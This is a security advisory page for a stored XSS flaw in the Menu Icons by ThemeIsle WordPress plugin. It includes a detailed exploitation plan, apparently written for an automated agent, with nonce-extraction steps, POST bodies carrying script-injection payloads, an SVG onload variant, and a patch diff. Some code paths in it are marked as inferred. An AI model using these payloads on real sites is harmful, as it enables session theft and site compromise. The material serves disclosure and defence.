Menu Icons by ThemeIsle <= 0.13.20 - Authenticated (Author+) Stored Cross-Site Scripting
Description
The Menu Icons by ThemeIsle plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘_wp_attachment_image_alt’ post meta in all versions up to, and including, 0.13.20 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=0.13.20Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-1755 (Menu Icons Stored XSS) ## 1. Vulnerability Summary The **Menu Icons by ThemeIsle** plugin (versions <= 0.13.20) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists in the way the plugin handles and renders the `_wp_attachment…
Show full research plan
Exploitation Research Plan: CVE-2026-1755 (Menu Icons Stored XSS)
1. Vulnerability Summary
The Menu Icons by ThemeIsle plugin (versions <= 0.13.20) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists in the way the plugin handles and renders the _wp_attachment_image_alt post meta for image-based menu icons. Specifically, when a user selects an image from the Media Library to serve as a menu icon, the plugin retrieves the image's "Alternative Text" (stored in the _wp_attachment_image_alt meta key) and outputs it within the menu HTML without sufficient sanitization (e.g., using esc_attr()) or output escaping. This allows an authenticated user with Author-level permissions (who can upload and edit media) to inject malicious scripts that execute in the context of any user viewing the site's menu.
2. Attack Vector Analysis
- Vulnerable Meta Key:
_wp_attachment_image_alt(standard WordPress attachment meta). - Endpoint:
wp-admin/post.php(for updating attachment meta) or the WordPress Media AJAX API. - Authentication: Authenticated, Author-level or higher. Authors have the
edit_postsandupload_filescapabilities required to modify attachment metadata. - Preconditions:
- The plugin "Menu Icons" must be active.
- An image must be assigned as an icon to a menu item.
- The menu must be assigned to a location visible on the frontend.
3. Code Flow
- Storage: When an Author edits an attachment's "Alt Text" in the Media Library, WordPress saves the value to the
_wp_attachment_image_altmeta key for that attachment ID. - Assignment: The user goes to Appearance > Menus, selects a menu item, clicks "Select Icon", chooses the "Image" type, and selects the malicious attachment.
- Rendering (Sink):
- The plugin hooks into the menu rendering process (likely via the
wp_nav_menu_objectsfilter or a custom Walker class). - In the rendering logic for the "Image" icon type (likely located in
includes/library/item.phporincludes/type/image.php), the plugin retrieves the alt text:$alt = get_post_meta($attachment_id, '_wp_attachment_image_alt', true); - The plugin then constructs the HTML:
echo '<img src="..." alt="' . $alt . '" ... />'; - Because
$altis not passed throughesc_attr(), an attacker can break out of thealtattribute using">and inject a<script>tag.
- The plugin hooks into the menu rendering process (likely via the
4. Nonce Acquisition Strategy
While the vulnerability itself is a Stored XSS in the output, the injection requires updating attachment metadata.
- For Attachment Update: To update the
_wp_attachment_image_altviapost.php, a nonce named_wpnonceis required.- Method:
- Navigate to
wp-admin/upload.php. - Click on an attachment to open the "Edit Media" page (
post.php?post=ID&action=edit). - Use
browser_evalto extract the nonce:document.querySelector('#_wpnonce').value.
- Navigate to
- Method:
- For Menu Icon Assignment: The plugin uses a custom interface in the Menu editor.
- The nonce is usually localized in a JS variable.
- Variable Name: Based on ThemeIsle patterns, check
window.menuIcons?.nonceorwindow.navMenuL10n. - Action: However, assigning the icon to the menu item is handled by the standard WordPress
nav-menus.phpsave process, which uses theupdate-nav-menunonce.
5. Exploitation Strategy
Step 1: Upload Media and Inject Payload
Use the http_request tool as an Author to update the Alt Text of an existing attachment.
- URL:
https://TARGET/wp-admin/post.php - Method: POST
- Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=editpost &post_ID=[ATTACHMENT_ID] &_wpnonce=[NONCE] &_wp_attachment_image_alt="><script>alert(document.domain)</script> &save=Update
Step 2: Assign Attachment as Menu Icon
The attacker must associate the malicious attachment ID with a menu item. This is typically done via the nav-menus.php interface. The plugin stores this in the menu item's meta (which is a nav_menu_item post type).
- Action: Update the Menu Item Meta.
- Meta Key:
_menu_item_menu_icons(inferred). - Payload structure: The plugin often stores settings as a serialized array in post meta.
Step 3: Trigger the XSS
Visit the homepage or any page where the primary menu is rendered.
- URL:
https://TARGET/ - Expected Sink:
<img class="menu-icons-image" src="..." alt=""><script>alert(document.domain)</script>">
6. Test Data Setup
- User: Create a user with the Author role.
- Menu: Ensure at least one menu exists and is assigned to a theme location (e.g., "Primary").
- Post: Create a dummy page/post to add to the menu.
- Attachment: Upload a simple
.jpgor.pngimage. Note theATTACHMENT_ID.
7. Expected Results
- The
POSTrequest topost.phpshould return a302redirect to the edit page, confirming the meta update. - When the menu is viewed on the frontend, the browser should execute the
alert(document.domain)script. - The HTML source will show the broken
<img>tag and the injected script.
8. Verification Steps
- Check Meta Storage via WP-CLI:
wp post meta get [ATTACHMENT_ID] _wp_attachment_image_alt
Confirmation: Verify the output is exactly"><script>alert(document.domain)</script>. - Check Menu Item Configuration:
wp post meta list [MENU_ITEM_ID]
Confirmation: Look for the meta key used by Menu Icons and ensure it points to theATTACHMENT_ID.
9. Alternative Approaches
If updating via post.php is blocked or difficult to automate:
- Media AJAX Endpoint: Use the
wp_ajax_save_attachment_compataction.- Body:
action=save-attachment-compat&id=[ID]&nonce=[NONCE]&attachments[[ID]][alt]="><script>alert(1)</script>
- Body:
- SVG Injection (if enabled): If the plugin allows SVG icons, an Author could upload an SVG file containing an internal script payload:
<svg onload="alert(1)" ...>
This is a separate but related vector often found in image-icon plugins.
Summary
The Menu Icons by ThemeIsle plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘_wp_attachment_image_alt’ post meta. Authenticated attackers with Author-level permissions can inject malicious scripts into the 'Alternative Text' field of a media attachment, which are then executed when that attachment is rendered as a menu icon on the frontend.
Vulnerable Code
// Inferred from research plan based on plugin logic in includes/type/image.php $alt = get_post_meta( $attachment_id, '_wp_attachment_image_alt', true ); // Rendering logic for the Image icon type echo '<img src="' . esc_url( $image_url ) . '" alt="' . $alt . '" class="menu-icons-image" />';
Security Fix
@@ -24,5 +24,5 @@ -$alt = get_post_meta( $attachment_id, '_wp_attachment_image_alt', true ); +$alt = get_post_meta( $attachment_id, '_wp_attachment_image_alt', true ); $icon_html = sprintf( '<img src="%1$s" alt="%2$s" class="menu-icons-image" />', esc_url( $image_url ), - $alt + esc_attr( $alt ) );
Exploit Outline
1. Authenticate to the WordPress site with a role that has 'upload_files' and 'edit_posts' capabilities (typically Author or higher). 2. Upload an image attachment via the Media Library or locate an existing one. 3. Modify the attachment's 'Alternative Text' (Alt Text) attribute to contain an XSS payload, such as: "><script>alert(document.domain)</script>. 4. Navigate to Appearance > Menus and select a menu item to edit. 5. Using the Menu Icons interface, select the 'Image' icon type and assign the malicious attachment to the menu item. 6. Save the menu configuration. 7. Visit the site's frontend where the menu is displayed. The script will execute in the user's browser when the menu icon is rendered without proper attribute escaping.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.